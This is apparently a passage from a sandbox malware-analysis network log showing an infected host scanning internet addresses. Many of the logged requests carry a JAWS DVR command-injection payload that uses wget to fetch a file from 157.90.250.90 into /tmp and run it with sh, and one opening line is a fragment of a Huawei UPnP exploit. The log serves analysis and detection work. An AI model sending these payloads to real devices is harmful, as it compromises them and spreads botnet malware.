HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.23	52342	49.232.101.104	23

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:02.777920008 CET	171	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 32 31 32 2e 31 30 32 2e 34 31 2e 32 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 31 2d 30 32 20 31 33 3a 32 34 3a 30 32 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 3f 3f 3f 3f 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 212.102.41.2MAC Address: Server Time: 2024-01-02 13:24:02Auth Result: ????.

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.23	50062	23.37.135.65	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:03.045010090 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:03.345462084 CET	430	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 208 Expires: Tue, 02 Jan 2024 05:24:03 GMT Date: Tue, 02 Jan 2024 05:24:03 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 62 38 33 34 37 36 38 26 23 34 36 3b 31 37 30 34 31 37 33 30 34 33 26 23 34 36 3b 32 39 31 36 31 63 37 36 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.b834768.1704173043.29161c76</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.23	40614	5.212.32.2	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:03.060009003 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:04.016184092 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:05.935945034 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:09.871370077 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:17.554280996 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:32.908107996 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:05.159574032 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.23	57618	162.159.129.103	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:03.166357040 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.23	50076	181.206.2.46	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:03.265615940 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.23	41178	52.50.137.229	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:03.282073975 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:03.522138119 CET	425	IN	HTTP/1.1 301 Moved Permanently Server: awselb/2.0 Date: Tue, 02 Jan 2024 05:24:03 GMT Content-Type: text/html Content-Length: 134 Connection: keep-alive Location: https://prognos-aircraft-dev.afiklmem.com:443/shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.23	49628	38.239.158.196	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:03.470698118 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:03.775172949 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Tue, 02 Jan 2024 05:24:03 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.23	59250	175.29.154.101	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:03.503192902 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:03.840493917 CET	400	IN	HTTP/1.1 400 Bad Request Date: Tue, 02 Jan 2024 05:24:03 GMT Content-Type: text/html Content-Length: 241 Connection: close Server: gocache Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 54 68 65 20 70 6c 61 69 6e 20 48 54 54 50 20 72 65 71 75 65 73 74 20 77 61 73 20 73 65 6e 74 20 74 6f 20 48 54 54 50 53 20 70 6f 72 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 63 65 6e 74 65 72 3e 54 68 65 20 70 6c 61 69 6e 20 48 54 54 50 20 72 65 71 75 65 73 74 20 77 61 73 20 73 65 6e 74 20 74 6f 20 48 54 54 50 53 20 70 6f 72 74 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 61 70 65 69 72 6f 38 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 68 74 6d 6c 3e 0a Data Ascii: <html><head><title>400 The plain HTTP request was sent to HTTPS port</title></head><body><center><h1>400 Bad Request</h1></center><center>The plain HTTP request was sent to HTTPS port</center><hr><center>apeiro8</center></body><html>
Jan 2, 2024 06:24:04.046247959 CET	400	IN	HTTP/1.1 400 Bad Request Date: Tue, 02 Jan 2024 05:24:03 GMT Content-Type: text/html Content-Length: 241 Connection: close Server: gocache Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 54 68 65 20 70 6c 61 69 6e 20 48 54 54 50 20 72 65 71 75 65 73 74 20 77 61 73 20 73 65 6e 74 20 74 6f 20 48 54 54 50 53 20 70 6f 72 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 63 65 6e 74 65 72 3e 54 68 65 20 70 6c 61 69 6e 20 48 54 54 50 20 72 65 71 75 65 73 74 20 77 61 73 20 73 65 6e 74 20 74 6f 20 48 54 54 50 53 20 70 6f 72 74 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 61 70 65 69 72 6f 38 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 68 74 6d 6c 3e 0a Data Ascii: <html><head><title>400 The plain HTTP request was sent to HTTPS port</title></head><body><center><h1>400 Bad Request</h1></center><center>The plain HTTP request was sent to HTTPS port</center><hr><center>apeiro8</center></body><html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.23	44564	171.244.56.107	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:03.532179117 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:03.898334980 CET	299	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jan 2024 05:24:03 GMT Content-Type: text/html Content-Length: 146 Connection: keep-alive Server: Byte-nginx Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.23	52370	49.232.101.104	23

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:03.593482018 CET	171	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 32 31 32 2e 31 30 32 2e 34 31 2e 32 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 31 2d 30 32 20 31 33 3a 32 34 3a 30 32 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 3f 3f 3f 3f 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 212.102.41.2MAC Address: Server Time: 2024-01-02 13:24:02Auth Result: ????.

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.23	45208	134.0.11.203	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:03.999635935 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:04.238635063 CET	404	IN	HTTP/1.1 400 Bad Request Date: Tue, 02 Jan 2024 05:24:04 GMT Server: Apache Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.23	35360	13.239.48.115	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:04.056293011 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:04.352189064 CET	483	IN	HTTP/1.1 400 Bad Request Date: Tue, 02 Jan 2024 05:24:04 GMT Server: Apache Content-Length: 305 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 63 77 2d 76 70 6e 2d 73 79 64 30 31 2e 63 6c 6f 75 64 77 61 72 65 2e 63 6f 6d 2e 61 75 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache Server at cw-vpn-syd01.cloudware.com.au Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.23	51938	34.107.170.116	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:04.121160984 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:04.242923021 CET	441	IN	HTTP/1.0 400 Bad Request Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 273 Date: Tue, 02 Jan 2024 05:24:04 GMT Data Raw: 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 74 65 78 74 3d 23 30 30 30 30 30 30 20 62 67 63 6f 6c 6f 72 3d 23 66 66 66 66 66 66 3e 0a 3c 68 31 3e 45 72 72 6f 72 3a 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 68 32 3e 59 6f 75 72 20 63 6c 69 65 6e 74 20 68 61 73 20 69 73 73 75 65 64 20 61 20 6d 61 6c 66 6f 72 6d 65 64 20 6f 72 20 69 6c 6c 65 67 61 6c 20 72 65 71 75 65 73 74 2e 3c 2f 68 32 3e 0a 3c 68 32 3e 3c 2f 68 32 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><title>400 Bad Request</title></head><body text=#000000 bgcolor=#ffffff><h1>Error: Bad Request</h1><h2>Your client has issued a malformed or illegal request.</h2><h2></h2></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.23	50990	43.139.38.175	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:04.154187918 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:04.484289885 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Tue, 02 Jan 2024 05:24:04 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.23	47644	154.223.106.91	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:04.156292915 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:04.313081980 CET	306	IN	HTTP/1.1 404 Not Found Server: nginx Date: Sun, 17 Dec 2017 07:47:25 GMT Content-Type: text/html Content-Length: 146 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.23	41426	34.203.180.13	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:04.156699896 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:04.313764095 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Tue, 02 Jan 2024 05:24:04 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.23	39410	213.136.91.17	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:04.299968004 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:04.584306002 CET	105	IN	HTTP/1.1 301 Connection: close Location: https://127.0.0.1/shell?cd+/tmp;rm+-rf+*;wget+

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.23	52412	49.232.101.104	23

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:04.397517920 CET	171	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 32 31 32 2e 31 30 32 2e 34 31 2e 32 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 31 2d 30 32 20 31 33 3a 32 34 3a 30 33 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 3f 3f 3f 3f 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 212.102.41.2MAC Address: Server Time: 2024-01-02 13:24:03Auth Result: ????.

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.23	39428	213.136.91.17	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:04.789093018 CET	80	IN	HTTP/1.1 301 Connection: close Location: https://mail.iteam.al

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.23	52452	49.232.101.104	23

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:05.230531931 CET	171	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 32 31 32 2e 31 30 32 2e 34 31 2e 32 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 31 2d 30 32 20 31 33 3a 32 34 3a 30 34 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 3f 3f 3f 3f 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 212.102.41.2MAC Address: Server Time: 2024-01-02 13:24:04Auth Result: ????.

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.23	47036	207.91.250.53	80

Timestamp	Bytes transferred	Direction	Data
